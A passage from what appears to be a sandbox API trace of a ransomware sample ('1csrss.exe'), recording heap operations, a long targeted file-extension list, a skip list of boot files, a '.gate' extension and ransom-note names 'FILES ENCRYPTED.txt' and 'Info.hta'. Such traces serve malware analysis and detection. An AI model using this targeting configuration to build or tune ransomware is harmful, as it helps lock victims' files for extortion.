(HeapHandle=0x5b0000, Flags=0x0, Size=0xa) returned 0x619860 [0100.758] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa) returned 0x619908 [0100.758] RtlReAllocateHeap (Heap=0x5b0000, Flags=0x0, Ptr=0x5f5fd0, Size=0x800) returned 0x619f48 [0100.758] lstrlenW (lpString=".1cd;.3ds;.3fr;.3g2;.3gp;.7z;.accda;.accdb;.accdc;.accde;.accdt;.accdw;.adb;.adp;.ai;.ai3;.ai4;.ai5;.ai6;.ai7;.ai8;.anim;.arw;.as;.asa;.asc;.ascx;.asm;.asmx;.asp;.aspx;.asr;.asx;.avi;.avs;.backup;.bak;.bay;.bd;.bin;.bmp;.bz2;.c;.cdr;.cer;.cf;.cfc;.cfm;.cfml;.cfu;.chm;.cin;.class;.clx;.config;.cpp;.cr2;.crt;.crw;.cs;.css;.csv;.cub;.dae;.dat;.db;.dbf;.dbx;.dc3;.dcm;.dcr;.der;.dib;.dic;.dif;.divx;.djvu;.dng;.doc;.docm;.docx;.dot;.dotm;.dotx;.dpx;.dqy;.dsn;.dt;.dtd;.dwg;.dwt;.dx;.dxf;.edml;.efd;.elf;.emf;.emz;.epf;.eps;.epsf;.epsp;.erf;.exr;.f4v;.fido;.flm;.flv;.frm;.fxg;.geo;.gif;.grs;.gz;.h;.hdr;.hpp;.hta;.htc;.htm;.html;.icb;.ics;.iff;.inc;.indd;.ini;.iqy;.j2c;.j2k;.java;.jp2;.jpc;.jpe;.jpeg;.jpf;.jpg;.jpx;.js;.jsf;.json;.jsp;.kdc;.kmz;.kwm;.lasso;.lbi;.lgf;.lgp;.log;.m1v;.m4a;.m4v;.max;.md;.mda;.mdb;.mde;.mdf;.mdw;.mef;.mft;.mfw;.mht;.mhtml;.mka;.mkidx;.mkv;.mos;.mov;.mp3;.mp4;.mpeg;.mpg;.mpv;.mrw;.msg;.mxl;.myd;.myi;.nef;.nrw;.obj;.odb;.odc;.odm;.odp;.ods;.oft;.one;.onepkg;.onetoc2;.opt;.oqy;.orf;.p12;.p7b;.p7c;.pam;.pbm;.pct;.pcx;.pdd;.pdf;.pdp;.pef;.pem;.pff;.pfm;.pfx;.pgm;.php;.php3;.php4;.php5;.phtml;.pict;.pl;.pls;.pm;.png;.pnm;.pot;.potm;.potx;.ppa;.ppam;.ppm;.pps;.ppsm;.ppt;.pptm;.pptx;.prn;.ps;.psb;.psd;.pst;.ptx;.pub;.pwm;.pxr;.py;.qt;.r3d;.raf;.rar;.raw;.rdf;.rgbe;.rle;.rqy;.rss;.rtf;.rw2;.rwl;.safe;.sct;.sdpx;.shtm;.shtml;.slk;.sln;.sql;.sr2;.srf;.srw;.ssi;.st;.stm;.svg;.svgz;.swf;.tab;.tar;.tbb;.tbi;.tbk;.tdi;.tga;.thmx;.tif;.tiff;.tld;.torrent;.tpl;.txt;.u3d;.udl;.uxdc;.vb;.vbs;.vcs;.vda;.vdr;.vdw;.vdx;.vrp;.vsd;.vss;.vst;.vsw;.vsx;.vtm;.vtml;.vtx;.wb2;.wav;.wbm;.wbmp;.wim;.wmf;.wml;.wmv;.wpd;.wps;.x3f;.xl;.xla;.xlam;.xlk;.xlm;.xls;.xlsb;.xlsm;.xlsx;.xlt;.xltm;.xltx;.xlw;.xml;.xps;.xsd;.xsf;.xsl;.xslt;.xsn;.xtp;.xtp2;.xyze;.xz;.zip;") returned 1776 [0100.758] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x607720 | out: hHeap=0x5b0000) returned 1 [0100.758] lstrlenW (lpString="") returned 0 [0100.758] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x61ad80 | out: hHeap=0x5b0000) returned 1 [0100.758] lstrlenW (lpString=".gate") returned 5 [0100.758] RtlReAllocateHeap (Heap=0x5b0000, Flags=0x0, Ptr=0x5f3470, Size=0x8) returned 0x5f3180 [0100.758] lstrlenW (lpString=".gate") returned 5 [0100.758] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x61ad80 | out: hHeap=0x5b0000) returned 1 [0100.758] RtlReAllocateHeap (Heap=0x5b0000, Flags=0x0, Ptr=0x61ae10, Size=0x20) returned 0x5ee7f0 [0100.758] RtlReAllocateHeap (Heap=0x5b0000, Flags=0x0, Ptr=0x5ee7f0, Size=0x40) returned 0x5c9fa0 [0100.758] RtlReAllocateHeap (Heap=0x5b0000, Flags=0x0, Ptr=0x5c9fa0, Size=0x80) returned 0x5f40d8 [0100.758] RtlReAllocateHeap (Heap=0x5b0000, Flags=0x0, Ptr=0x5f3470, Size=0x8) returned 0x5f3350 [0100.758] RtlReAllocateHeap (Heap=0x5b0000, Flags=0x0, Ptr=0x5f3350, Size=0x10) returned 0x61ae10 [0100.759] RtlReAllocateHeap (Heap=0x5b0000, Flags=0x0, Ptr=0x61ae10, Size=0x20) returned 0x5ee930 [0100.759] lstrlenW (lpString="boot.ini;bootfont.bin;ntldr;ntdetect.com;io.sys;") returned 48 [0100.759] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5f40d8 | out: hHeap=0x5b0000) returned 1 [0100.759] RtlReAllocateHeap (Heap=0x5b0000, Flags=0x0, Ptr=0x61ae28, Size=0x20) returned 0x5eebb0 [0100.759] RtlReAllocateHeap (Heap=0x5b0000, Flags=0x0, Ptr=0x5eebb0, Size=0x40) returned 0x5ca108 [0100.759] lstrlenW (lpString="FILES ENCRYPTED.txt") returned 19 [0100.759] lstrlenW (lpString="FILES ENCRYPTED.txt") returned 19 [0100.759] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5ca108 | out: hHeap=0x5b0000) returned 1 [0100.759] RtlReAllocateHeap (Heap=0x5b0000, Flags=0x0, Ptr=0x61ad80, Size=0x20) returned 0x5eebd8 [0100.759] lstrlenW (lpString="Info.hta") returned 8 [0100.759] lstrlenW (lpString="Info.hta") returned 8 [0100.759] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5eebd8 | out: hHeap=0x5b0000) returned 1 [0100.759] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x61af58, nSize=0x7fff | out: lpFilename="C:\\Users\\FD1HVy\\Desktop\\1csrss.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\1csrss.exe")) returned 0x22 [0100.759] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x61af58 | out: hHeap=0x5b0000) returned 1 [0100.760] lstrlenW (lpString="1csrss.exe") returned 10 [0100.760] RtlReAllocateHeap (Heap=0x5b0000, Flags=0x0, Ptr=0x5ee930, Size=0x40) returned 0x5ca1e0 [0100.760] RtlReAllocateHeap (Heap=0x5b0000, Flags=0x0, Ptr=0x61aea0, Size=0x20) returned 0x5eea70 [0100.761] RtlReAllocateHeap (Heap=0x5b0000, Flags=0x0, Ptr=0x61ae28, Size=0x20) returned 0x5ee868 [0100.761] RtlReAllocateHeap (Heap=0x5b0000, Flags=0x0, Ptr=0x5ee868, Size=0x40) returned 0x5ca3d8 [0100.761] RtlReAllocateHeap (Heap=0x5b0000, Flags=0x0, Ptr=0x5ca3d8, Size=0x80) returned 0x5f4380 [0100.761] RtlReAllocateHeap (Heap=0x5b0000, Flags=0x0, Ptr=0x5f4380, Size=0x100) returned 0x5f5fd0 [0100.761] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders") returned 69 [0100.761] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5f5fd0 | out: hHeap=0x5b0000) returned 1 [0100.761] ExpandEnvironmentStringsW (in: lpSrc="%windir%;", lpDst=0x61af58, nSize=0x8000 | out: lpDst="C:\\WINDOWS;") returned 0xc [0100.761] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x62af60 | out: hHeap=0x5b0000) returned 1 [0100.762] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x61af58 | out: hHeap=0x5b0000) returned 1 [0100.762] RtlReAllocateHeap (Heap=0x5b0000, Flags=0x0, Ptr=0x5f3310, Size=0x8) returned 0x5f3330 [0100.763] lstrlenW (lpString="%windir%;") returned 9 [0100.763] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5eea70 | out: hHeap=0x5b0000) returned 1 [0100.763] lstrlenW (lpString="C:\\WINDOWS;") returned 11 [0100.763] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x608728 | out: hHeap=0x5b0000) returned 1 [0100.763] RtlReAllocateHeap (Heap=0x5b0000, Flags=0x0, Ptr=0x61ad80, Size=0x20) returned 0x5eea70 [0100.763] RtlReAllocateHeap (Heap=0x5b0000, Flags=0x0, Ptr=0x5eea70, Size=0x40) returned 0x5ca078 [0100.763] RtlReAllocateHeap (Heap=0x5b0000, Flags=0x0, Ptr=0x5ca078, Size=0x80) returned 0x5f4958 [0100.763] RtlReAllocateHeap (Heap=0x5b0000, Flags=0x0, Ptr=0x5f4958, Size=0x100) returned 0x5f5fd0 [0100.763] RtlReAllocateHeap (Heap=0x5b0000, Flags=0x0, Ptr=0x5f32c0, Size=0x8) returned 0x5f3350 [0100.763] RtlReAllocateHeap (Heap=0x5b0000, Flags=0x0, Ptr=0x5f3350, Size=0x10) returned 0x61ade0 [0100.763] RtlReAllocateHeap (Heap=0x5b0000, Flags=0x0, Ptr=0x61ade0, Size=0x20) returned 0x5eeb10 [0100.763] RtlReAllocateHeap (Heap=0x5b0000, Flags=0x0, Ptr=0x5f3270, Size=0x8) returned 0x5f31c0 [0100.763] RtlReAllocateHeap (Heap=0x5b0000, Flags=0x0, Ptr=0x5f3320, Size=0x8) returned 0x5f3350 [0100.763] RtlReAllocateHeap (Heap=0x5b0000, Flags=0x0, Ptr=0x5f31f0, Size=0x8) returned 0x5f3320 [0100.763] RtlReAllocateHeap (Heap=0x5b0000, Flags=0x0, Ptr=0x5f3320, Size=0x10) returned 0x61aa08 [0100.763] RtlReAllocateHeap (Heap=0x5b0000, Flags=0x0, Ptr=0x61aa08, Size=0x20) returned 0x5ee930 [0100.763] RtlReAllocateHeap (Heap=0x5b0000, Flags=0x0, Ptr=0x5f31c0, Size=0x10) returned 0x61a9f0 [0100.764] RtlReAllocateHeap (Heap=0x5b0000, Flags=0x0, Ptr=0x5f3350, Size=0x10) returned 0x61a978 [0100.764] RtlReAllocateHeap (Heap=0x5b0000, Flags=0x0, Ptr=0x5f3350, Size=0x8) returned 0x5f3270 [0100.764] RtlReAllocateHeap (Heap=0x5b0000, Flags=0x0, Ptr=0x5f3220, Size=0x8) returned 0x5f3370 [0100.764] RtlReAllocateHeap (Heap=0x5b0000, Flags=0x0, Ptr=0x61a9f0, Size=0x20) returned 0x5ee7f0 [0100.764] RtlReAllocateHeap (Heap=0x5b0000, Flags=0x0, Ptr=0x61a978, Size=0x20) returned 0x5ee818 [0100.764] RtlReAllocateHeap (Heap=0x5b0000, Flags=0x0, Ptr=0x5f3280, Size=0x8) returned 0x5f32b0 [0100.764] lstrlenW (lpString="doc(.doc;.docx;.pdf;.xls;.xlsx;.ppt;)arc(.zip;.rar;.bz2;.7z;)dbf(.dbf;)1c8(.1cd;)jpg(.jpg;)") returned 91 [0100.764] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5f5fd0 | out: hHeap=0x5b0000) returned 1 [0100.764] RtlReAllocateHeap (Heap=0x5b0000, Flags=0x0, Ptr=0x61a9f0, Size=0x20) returned 0x5ee958 [0100.764] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%", lpDst=0x607720, nSize=0x7fff | out: lpDst="C:") returned 0x3 [0100.764] lstrlenW (lpString="C:\\") returned 3 [0100.764] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x19fca4, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x19fca4*=0xb4197730, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0100.765] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x607720 | out: hHeap=0x5b0000) returned 1 [0100.766] RtlReAllocateHeap (Heap=0x5b0000, Flags=0x0, Ptr=0x5f31c0, Size=0x82) returned 0x5f6060 [0100.766] RtlReAllocateHeap (Heap=0x5b0000, Flags=0x0, Ptr=0x5f31b0, Size=0x100) returned 0x5f60f0 [0100.766] RtlReAllocateHeap (Heap=0x5b0000, Flags=0x0, Ptr=0x5f6060, Size=0x104) returned 0x5f6318 [0100.766] RtlReAllocateHeap (Heap=0x5b0000, Flags=0x0, Ptr=0x5f60f0, Size=0x200) returned 0x607720 [0100.768] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5f3280 | out: hHeap=0x5b0000) returned 1 [0100.768] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x607720 | out: hHeap=0x5b0000) returned 1 [0100.768] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x61a918 | out: hHeap=0x5b0000) returned 1 [0100.768] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5f4270 | out: hHeap=0x5b0000) returned 1 [0100.768] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x61aa20 | out: hHeap=0x5b0000) returned 1 [0100.768] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5f4f30 | out: hHeap=0x5b0000) returned 1 [0100.768] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x61a8b8 | out: hHeap=0x5b0000) returned 1 [0100.768] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5f6318 | out: hHeap=0x5b0000) returned 1 [0100.768] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x61a948 | out: hHeap=0x5b0000) returned 1 [0100.768] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5f61f8 | out: hHeap=0x5b0000) returned 1 [0100.768] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x61a7f8 | out: hHeap=0x5b0000) returned 1 [0100.768] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5f6288 | out: hHeap=0x5b0000) returned 1 [0100.768] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x61aa38 | out: hHeap=0x5b0000) returned 1 [0100.768] RtlReAllocateHeap (Heap=0x5b0000, Flags=0x0, Ptr=0x61aa20, Size=0x20) returned 0x5ee980 [0100.768] RtlReAllocateHeap (Heap=0x5b0000, Flags=0x0, Ptr=0x5ee980, Size=0x40) returned 0x5ca618 [0100.768] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5f32a0 | out: hHeap=0x5b0000) returned 1 [0100.768] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x61a9f0 | out: hHeap=0x5b0000) returned 1 [0100.768] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5f5fd0 | out: hHeap=0x5b0000) returned 1 [0100.768] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x61aa08 | out: hHeap=0x5b0000) returned 1 [0100.768] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5f4d10 | out: hHeap=0x5b0000) returned 1 [0100.768] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x61a7b0 | out: hHeap=0x5b0000) returned 1 [0100.768] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5f32c0 | out: hHeap=0x5b0000) returned 1 [0100.768] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x61a900 | out: hHeap=0x5b0000) returned 1 [0100.768] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5c5fe8 | out: hHeap=0x5b0000) returned 1 [0100.768] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5c51b0 | out: hHeap=0x5b0000) returned 1 [0100.768] lstrlenW (lpString="%systemdrive%") returned 13 [0100.768] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5ee958 | out: hHeap=0x5b0000) returned 1 [0100.769] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5f45a0 | out: hHeap=0x5b0000) returned 1 [0100.769] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5f3350 | out: hHeap=0x5b0000) returned 1 [0100.769] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4091f0, lpParameter=0x5f7700, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x260 [0100.769] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x10014) returned 0x61af58 [0100.770] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x10) returned 0x61a7b0 [0100.770] RtlReAllocateHeap (Heap=0x5b0000, Flags=0x0, Ptr=0x61a7b0, Size=0x20) returned 0x5eec00 [0100.770] RtlReAllocateHeap (Heap=0x5b0000, Flags=0x0, Ptr=0x5eec00, Size=0x40) returned 0x5ca540 [0100.770] RtlReAllocateHeap (Heap=0x5b0000, Flags=0x0, Ptr=0x5ca540, Size=0x80) returned 0x5f4a68 [0100.770] RtlReAllocateHeap (Heap=0x5b0000, Flags=0x0, Ptr=0x5f4a68, Size=0x100) returned 0x5f5fd0 [0100.770] RtlReAllocateHeap (Heap=0x5b0000, Flags=0x0, Ptr=0x5f5fd0, Size=0x200) returned 0x5f5fd0 [0100.770] RtlReAllocateHeap (Heap=0x5b0000, Flags=0x0, Ptr=0x5f5fd0, Size=0x400) returned 0x5f5fd0 [0100.770] RtlReAllocateHeap (Heap=0x5b0000, Flags=0x0, Ptr=0x5f5fd0, Size=0x800) returned 0x609728 [0100.770] RtlReAllocateHeap (Heap=0x5b0000, Flags=0x0, Ptr=0x609728, Size=0x1000) returned 0x609728 [0100.770] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x10000) returned 0x62af78 [0100.770] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x10) returned 0x61a9f0 [0100.771] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xc) returned 0x61aa08 [0100.771] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5f3240 [0100.771] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xc) returned 0x61a900 [0100.771] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5f32d0 [0100.771] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa) returned 0x61aa20 [0100.771] RtlReAllocateHeap (Heap=0x5b0000, Flags=0x0, Ptr=0x5f3240, Size=0x8) returned 0x5f3350 [0100.771] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa) returned 0x61a8d0 [0100.771] RtlReAllocateHeap (Heap=0x5b0000, Flags=0x0, Ptr=0x5f3350, Size=0x10) returned 0x61a918 [0100.771] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa) returned 0x61aa38 [0100.771] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa) returned 0x61aa50 [0100.771] RtlReAllocateHeap (Heap=0x5b0000, Flags=0x0, Ptr=0x61a918, Size=0x20) returned 0x5eebb0 [0100.771] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa) returned 0x61a7b0 [0100.771] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5f3320 [0100.771] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xe) returned 0x61a7c8 [0100.771] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xe) returned 0x61a810 [0100.771] RtlReAllocateHeap (Heap=0x5b0000, Flags=0x0, Ptr=0x5eebb0, Size=0x40) returned 0x5ca4b0 [0100.771] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xe) returned 0x61a7f8 [0100.771] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xe) returned 0x61a840 [0100.771] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xe) returned 0x61a858 [0100.771] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xe) returned 0x61a870 [0100.771] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa) returned 0x61a918 [0100.771] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa) returned 0x61a930 [0100.771] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5f3280 [0100.771] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa) returned 0x61a948 [0100.771] RtlReAllocateHeap (Heap=0x5b0000, Flags=0x0, Ptr=0x5ca4b0, Size=0x80) returned 0x5f4160 [0100.771] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa) returned 0x61a960 [0100.771] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa) returned 0x61a978 [0100.771] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa) returned 0x63b6c8 [0100.771] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa) returned 0x63b788 [0100.772] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa) returned 0x63b770 [0100.772] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xc) returned 0x63b890 [0100.772] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa) returned 0x63b650 [0100.772] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5f3350 [0100.772] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa) returned 0x63b620 [0100.772] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa) returned 0x63b6e0 [0100.772] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xc) returned 0x63b5f0 [0100.772] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa) returned 0x63b7a0 [0100.772] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xc) returned 0x63b638 [0100.772] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa) returned 0x63b668 [0100.772] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xc) returned 0x63b818 [0100.772] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa) returned 0x63b878 [0100.772] RtlReAllocateHeap (Heap=0x5b0000, Flags=0x0, Ptr=0x5f4160, Size=0x100) returned 0x5f5fd0 [0100.772] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa) returned 0x63b860 [0100.772] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa) returned 0x63b800 [0100.772] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa) returned 0x63b680 [0100.772] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x10) returned 0x63b698 [0100.772] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa) returned 0x63b6b0 [0100.772] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa) returned 0x63b608 [0100.772] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5f31b0 [0100.772] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa) returned 0x63b8a8 [0100.772] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa) returned 0x63b6f8 [0100.772] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa) returned 0x63b728 [0100.772] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x6) returned 0x5f31d0 [0100.772] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa) returned 0x63b830 [0100.772] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa) returned 0x63b7b8 [0100.772] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5f32f0 [0100.772] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa) returned 0x63b710 [0100.772] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa) returned 0x63b740 [0100.772] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xc) returned 0x63b758 [0100.773] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa) returned 0x63b7d0 [0100.773] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa) returned 0x63b7e8 [0100.773] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa) returned 0x63b848 [0100.773] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xe) returned 0x63b5c0 [0100.773] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa) returned 0x63b5d8 [0100.773] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x10) returned 0x63b908 [0100.773] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa) returned 0x63b8c0 [0100.773] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa) returned 0x63b9c8 [0100.773] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa) returned 0x63bae8 [0100.773] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa) returned 0x63b9e0 [0100.773] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5f3290 [0100.773] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa) returned 0x63b8d8 [0100.773] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa) returned 0x63ba88 [0100.773] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa) returned 0x63baa0 [0100.773] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa) returned 0x63b950 [0100.773] RtlReAllocateHeap (Heap=0x5b0000, Flags=0x0, Ptr=0x5f5fd0, Size=0x200) returned 0x5f5fd0 [0100.773] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa) returned 0x63ba10 [0100.773] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5f32a0 [0100.773] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa) returned 0x63bba8 [0100.773] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa) returned 0x63ba70 [0100.773] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa) returned 0x63bb90 [0100.773] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa) returned 0x63b968 [0100.773] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa) returned 0x63b8f0 [0100.773] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa) returned 0x63bad0 [0100.773] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa) returned 0x63bb18 [0100.773] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa) returned 0x63b9f8 [0100.773] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa) returned 0x63b980 [0100.773] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xc) returned 0x63bb00 [0100.773] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xc) returned 0x63bb30 [0100.773] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa) returned 0x63bb48 [0100.774] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa) returned 0x63bb60 [0100.774] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xc) returned 0x63bab8 [0100.774] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xc) returned 0x63b998 [0100.774] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa) returned 0x63bb78 [0100.774] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xc) returned 0x63b920 [0100.774] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xc) returned 0x63ba28 [0100.774] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa) returned 0x63b938 [0100.774] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa) returned 0x63b9b0 [0100.774] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa) returned 0x63ba40 [0100.774] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5f3240 [0100.774] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa) returned 0x63ba58 [0100.774] RtlAllocateHeap 